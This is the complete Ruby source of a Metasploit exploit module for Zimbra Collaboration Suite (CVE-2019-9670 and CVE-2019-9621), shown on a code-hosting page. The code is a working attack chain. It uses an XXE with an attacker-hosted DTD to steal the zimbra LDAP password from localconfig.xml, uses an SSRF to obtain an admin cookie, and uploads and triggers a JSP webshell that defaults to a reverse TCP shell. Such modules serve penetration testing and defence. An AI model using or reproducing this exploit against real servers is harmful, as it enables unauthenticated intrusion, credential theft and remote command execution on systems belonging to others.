/modules/exploits/linux/http/zimbra_xxe_rce.rb
Ruby | 258 lines | 213 code | 40 blank | 5 comment | 9 complexity | b42049eb9c9de4811401181abe4e75ba MD5 | raw file
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::Remote::HttpServer
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
- 'Description' => %q{
- This module exploits an XML external entity vulnerability and a
- server side request forgery to get unauthenticated code execution
- on Zimbra Collaboration Suite. The XML external entity vulnerability
- in the Autodiscover Servlet is used to read a Zimbra configuration
- file that contains an LDAP password for the 'zimbra' account. The
- zimbra credentials are then used to get a user authentication cookie
- with an AuthRequest message. Using the user cookie, a server side request
- forgery in the Proxy Servlet is used to proxy an AuthRequest with
- the 'zimbra' credentials to the admin port to retrieve an admin
- cookie. After gaining an admin cookie the Client Upload servlet is
- used to upload a JSP webshell that can be triggered from the web
- server to get command execution on the host. The issues reportedly
- affect Zimbra Collaboration Suite v8.5 to v8.7.11.
- This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
- UBUNTU16_64 FOSS edition.
- },
- 'Author' =>
- [
- 'An Trinh', # Discovery
- 'Khanh Viet Pham', # Discovery
- 'Jacob Robles' # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- ['CVE', '2019-9670'],
- ['CVE', '2019-9621'],
- ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
- ],
- 'Platform' => ['linux'],
- 'Arch' => ARCH_JAVA,
- 'Targets' =>
- [
- [ 'Automatic', { } ]
- ],
- 'DefaultOptions' => {
- 'RPORT' => 8443,
- 'SSL' => true,
- 'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
- },
- 'Stance' => Stance::Aggressive,
- 'DefaultTarget' => 0,
- 'DisclosureDate' => '2019-03-13' # Blog post date
- ))
- register_options [
- OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
- OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
- ]
- end
- def xxe_req(data)
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri, '/autodiscover'),
- 'encode_params' => false,
- 'data' => data
- })
- fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
- res
- end
- def soap_discover(check_soap=false)
- xml = REXML::Document.new
- xml.add_element('Autodiscover')
- xml.root.add_element('Request')
- req = xml.root.elements[1]
- req.add_element('EMailAddress')
- req.add_element('AcceptableResponseSchema')
- replace_text = 'REPLACE'
- req.elements['EMailAddress'].text = Faker::Internet.email
- req.elements['AcceptableResponseSchema'].text = replace_text
- doc = rand_text_alpha_lower(4..8)
- entity = rand_text_alpha_lower(4..8)
- local_file = '/etc/passwd'
- res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
- if check_soap
- local = "file://#{local_file}"
- res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
- res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
- else
- local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
- res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
- res << "%#{entity};]>"
- res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
- end
- res
- end
- def soap_auth(zimbra_user, zimbra_pass, admin=true)
- urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
- xml = REXML::Document.new
- xml.add_element(
- 'soap:Envelope',
- {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
- )
- xml.root.add_element('soap:Body')
- body = xml.root.elements[1]
- body.add_element(
- 'AuthRequest',
- {'xmlns' => urn}
- )
- zimbra_acc = body.elements[1]
- zimbra_acc.add_element(
- 'account',
- {'by' => 'adminName'}
- )
- zimbra_acc.add_element('password')
- zimbra_acc.elements['account'].text = zimbra_user
- zimbra_acc.elements['password'].text = zimbra_pass
- xml.to_s
- end
- def cookie_req(data)
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri, '/service/soap/'),
- 'data' => data
- })
- fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
- res
- end
- def proxy_req(data, auth_cookie)
- target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri, '/service/proxy/'),
- 'vars_get' => {'target' => target},
- 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
- 'data' => data,
- 'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
- })
- fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
- res
- end
- def upload_file(file_name, contents, cookie)
- data = Rex::MIME::Message.new
- data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
- data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
- data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
- post_data = data.to_s
- send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'data' => post_data,
- 'cookie' => cookie
- })
- end
- def check
- begin
- res = xxe_req(soap_discover(true))
- rescue Msf::Exploit::Failed
- return CheckCode::Unknown
- end
- if res.body.include?('zimbra')
- return CheckCode::Vulnerable
- end
- CheckCode::Unknown
- end
- def on_request_uri(cli, req)
- ent_file = rand_text_alpha_lower(4..8)
- ent_eval = rand_text_alpha_lower(4..8)
- dtd = <<~HERE
- <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
- <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
- %#{ent_eval};
- HERE
- send_response(cli, dtd)
- end
- def primer
- datastore['SSL'] = @ssl
- res = xxe_req(soap_discover)
- fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
- password = $1
- username = 'zimbra'
- print_good("Password found: #{password}")
- data = soap_auth(username, password, false)
- res = cookie_req(data)
- fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
- auth_cookie = $1
- print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
- data = soap_auth(username, password)
- res = proxy_req(data, auth_cookie)
- fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
- admin_cookie = $1
- print_good("Admin cookie retrieved: #{admin_cookie}")
- stager_name = "#{rand_text_alpha(8..16)}.jsp"
- print_status('Uploading jsp shell')
- res = upload_file(stager_name, payload.encoded, admin_cookie)
- fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
- # Only shell sessions are supported
- register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
- register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
- register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
- register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
- print_status("Executing payload on /downloads/#{stager_name}")
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
- 'cookie' => admin_cookie
- })
- end
- def exploit
- @ent_data = rand_text_alpha_lower(4..8)
- @ssl = datastore['SSL']
- datastore['SSL'] = false
- Timeout.timeout(datastore['HTTPDELAY']) { super }
- rescue Timeout::Error
- end
- end